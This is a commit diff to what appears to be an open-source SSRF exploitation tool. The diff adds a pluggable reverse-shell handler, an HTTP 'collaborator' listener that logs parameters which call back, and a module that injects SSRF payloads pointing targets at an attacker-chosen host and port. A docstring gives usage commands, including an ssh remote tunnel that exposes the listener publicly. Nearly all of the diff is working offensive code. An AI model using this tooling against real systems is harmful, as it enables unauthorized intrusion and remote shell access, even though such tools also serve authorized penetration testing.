commit
bb0fe7d9dd
|
@ -26,6 +26,15 @@ class Handler(threading.Thread):
|
||||||
print("\n{}\nShell > $ ".format(response.decode('utf_8', 'ignore').strip()), end='')
|
print("\n{}\nShell > $ ".format(response.decode('utf_8', 'ignore').strip()), end='')
|
||||||
response = self.client.recv(255)
|
response = self.client.recv(255)
|
||||||
|
|
||||||
|
def listen_command(self):
|
||||||
|
if self.connected == True:
|
||||||
|
cmd = input("Shell> $ ")
|
||||||
|
if cmd == "exit":
|
||||||
|
self.kill()
|
||||||
|
print("BYE !")
|
||||||
|
exit()
|
||||||
|
self.send_command(cmd+"\n\n")
|
||||||
|
|
||||||
def send_command(self, cmd):
|
def send_command(self, cmd):
|
||||||
self.client.sendall(cmd.encode())
|
self.client.sendall(cmd.encode())
|
||||||
|
|
||||||
|
|
27
core/ssrf.py
27
core/ssrf.py
|
@ -7,6 +7,7 @@ import logging
|
||||||
|
|
||||||
class SSRF(object):
|
class SSRF(object):
|
||||||
modules = set()
|
modules = set()
|
||||||
|
handler = None
|
||||||
requester = None
|
requester = None
|
||||||
|
|
||||||
def __init__(self, args):
|
def __init__(self, args):
|
||||||
|
@ -15,8 +16,12 @@ class SSRF(object):
|
||||||
self.load_modules()
|
self.load_modules()
|
||||||
|
|
||||||
# Start a reverse shell handler
|
# Start a reverse shell handler
|
||||||
if args.handler:
|
if args.handler and args.lport and args.handler == "1":
|
||||||
handler = Handler(args.handler)
|
handler = Handler(args.lport)
|
||||||
|
handler.start()
|
||||||
|
elif args.handler and args.lport:
|
||||||
|
self.load_handler(args.handler)
|
||||||
|
handler = self.handler.exploit(args.lport)
|
||||||
handler.start()
|
handler.start()
|
||||||
|
|
||||||
# Init a requester
|
# Init a requester
|
||||||
|
@ -40,14 +45,7 @@ class SSRF(object):
|
||||||
|
|
||||||
# Handling a shell
|
# Handling a shell
|
||||||
while args.handler:
|
while args.handler:
|
||||||
if handler.connected == True:
|
handler.listen_command()
|
||||||
cmd = input("Shell> $ ")
|
|
||||||
if cmd == "exit":
|
|
||||||
handler.kill()
|
|
||||||
print("BYE !")
|
|
||||||
exit()
|
|
||||||
handler.send_command(cmd+"\n\n")
|
|
||||||
else:
|
|
||||||
time.sleep(5)
|
time.sleep(5)
|
||||||
|
|
||||||
def load_modules(self):
|
def load_modules(self):
|
||||||
|
@ -56,3 +54,12 @@ class SSRF(object):
|
||||||
if ".py" in location:
|
if ".py" in location:
|
||||||
mymodule = SourceFileLoader(name, location).load_module()
|
mymodule = SourceFileLoader(name, location).load_module()
|
||||||
self.modules.add(mymodule)
|
self.modules.add(mymodule)
|
||||||
|
|
||||||
|
def load_handler(self, name):
|
||||||
|
handler_file = "{}.py".format(name)
|
||||||
|
try:
|
||||||
|
location = os.path.join("./handlers", handler_file)
|
||||||
|
self.handler = SourceFileLoader(handler_file, location).load_module()
|
||||||
|
except Exception as e:
|
||||||
|
logging.error("Invalid no such handler: {}".format(name))
|
||||||
|
exit(1)
|
||||||
|
|
|
@ -0,0 +1,50 @@
|
||||||
|
from core.utils import *
|
||||||
|
from core.handler import Handler
|
||||||
|
import re
|
||||||
|
import logging
|
||||||
|
import urllib.parse
|
||||||
|
|
||||||
|
class exploit(Handler):
|
||||||
|
|
||||||
|
def __init__(self, port):
|
||||||
|
super().__init__(port)
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||||
|
self.socket.bind(('', self.port))
|
||||||
|
self.injected_params = []
|
||||||
|
|
||||||
|
while True:
|
||||||
|
self.socket.listen(5)
|
||||||
|
self.client, address = self.socket.accept()
|
||||||
|
|
||||||
|
response = self.client.recv(1024).decode()
|
||||||
|
if self.socket._closed or not response:
|
||||||
|
break
|
||||||
|
|
||||||
|
logging.info("New session from : \033[32m{}\033[0m".format( address[0] ))
|
||||||
|
self.connected = True
|
||||||
|
|
||||||
|
regex = re.compile('(.*) (.*) HTTP')
|
||||||
|
request_method, request_action = regex.findall(response)[0]
|
||||||
|
request_param = urllib.parse.urlsplit(request_action).query
|
||||||
|
logging.info("Possible injected param: \033[32m{}\033[0m".format( request_param ))
|
||||||
|
self.injected_params.append(request_param)
|
||||||
|
|
||||||
|
response_header = "HTTP/1.1 200 OK\n"
|
||||||
|
response_header += 'Server: I-See-You\n'
|
||||||
|
response_header += 'Connection: close\n\n'
|
||||||
|
self.client.send(response_header.encode())
|
||||||
|
self.client.close()
|
||||||
|
|
||||||
|
def kill(self):
|
||||||
|
socket.socket(socket.AF_INET, socket.SOCK_STREAM).connect(self.socket.getsockname()) # trigger last connection to closing
|
||||||
|
self.socket.close()
|
||||||
|
|
||||||
|
def listen_command(self):
|
||||||
|
# shutdown handler
|
||||||
|
if not self.socket._closed:
|
||||||
|
self.kill()
|
||||||
|
else:
|
||||||
|
exit()
|
|
@ -0,0 +1,43 @@
|
||||||
|
from core.utils import *
|
||||||
|
from core.handler import Handler
|
||||||
|
import re
|
||||||
|
import logging
|
||||||
|
import urllib.parse
|
||||||
|
|
||||||
|
"""
|
||||||
|
Example:
|
||||||
|
```
|
||||||
|
~$ python3 ssrfmap.py -v -r data/request.txt -p url,path --lhost=public-ip --lport 4242 -m httpcollaborator -l http
|
||||||
|
```
|
||||||
|
Use ssh/autossh to established remote tunnel between public and localhost handler if running module locally against remote target
|
||||||
|
```
|
||||||
|
~$ ssh -fN -R public-ip:4242:127.0.0.1:4242 username@public-ip
|
||||||
|
```
|
||||||
|
"""
|
||||||
|
|
||||||
|
name = "httpcollaborator"
|
||||||
|
description = "This module act like burpsuite collaborator through http protocol to detect if target parameters are prone to ssrf"
|
||||||
|
author = "xyzkab"
|
||||||
|
documentation = []
|
||||||
|
|
||||||
|
class exploit():
|
||||||
|
SERVER_HOST = "127.0.0.1"
|
||||||
|
SERVER_PORT = "4242"
|
||||||
|
|
||||||
|
def __init__(self, requester, args):
|
||||||
|
logging.info("Module '{}' launched !".format(name))
|
||||||
|
|
||||||
|
# Handle args for httpcollaborator
|
||||||
|
if args.lhost == None: self.SERVER_HOST = input("Server Host:")
|
||||||
|
else: self.SERVER_HOST = args.lhost
|
||||||
|
|
||||||
|
if args.lport == None: self.SERVER_PORT = input("Server Port:")
|
||||||
|
else: self.SERVER_PORT = args.lport
|
||||||
|
|
||||||
|
params = args.param.split(",")
|
||||||
|
for param in params:
|
||||||
|
logging.info("Testing PARAM: {}".format(param))
|
||||||
|
payload = wrapper_http("?{}".format(param), args.lhost, args.lport.strip() )
|
||||||
|
r = requester.do_request(param, payload)
|
||||||
|
|
||||||
|
logging.info("Module '{}' finished !".format(name))
|
|
@ -28,7 +28,7 @@ def parse_args():
|
||||||
parser.add_argument('-r', action ='store', dest='reqfile', help="SSRF Request file")
|
parser.add_argument('-r', action ='store', dest='reqfile', help="SSRF Request file")
|
||||||
parser.add_argument('-p', action ='store', dest='param', help="SSRF Parameter to target")
|
parser.add_argument('-p', action ='store', dest='param', help="SSRF Parameter to target")
|
||||||
parser.add_argument('-m', action ='store', dest='modules', help="SSRF Modules to enable")
|
parser.add_argument('-m', action ='store', dest='modules', help="SSRF Modules to enable")
|
||||||
parser.add_argument('-l', action ='store', dest='handler', help="Start an handler for a reverse shell")
|
parser.add_argument('-l', action ='store', dest='handler', help="Start an handler for a reverse shell", nargs='?', const='1')
|
||||||
parser.add_argument('-v', action ='store', dest='verbose', help="Enable verbosity", nargs='?', const=True)
|
parser.add_argument('-v', action ='store', dest='verbose', help="Enable verbosity", nargs='?', const=True)
|
||||||
parser.add_argument('--lhost', action ='store', dest='lhost', help="LHOST reverse shell")
|
parser.add_argument('--lhost', action ='store', dest='lhost', help="LHOST reverse shell")
|
||||||
parser.add_argument('--lport', action ='store', dest='lport', help="LPORT reverse shell")
|
parser.add_argument('--lport', action ='store', dest='lport', help="LPORT reverse shell")
|
||||||
|
|
Loading…
Reference in New Issue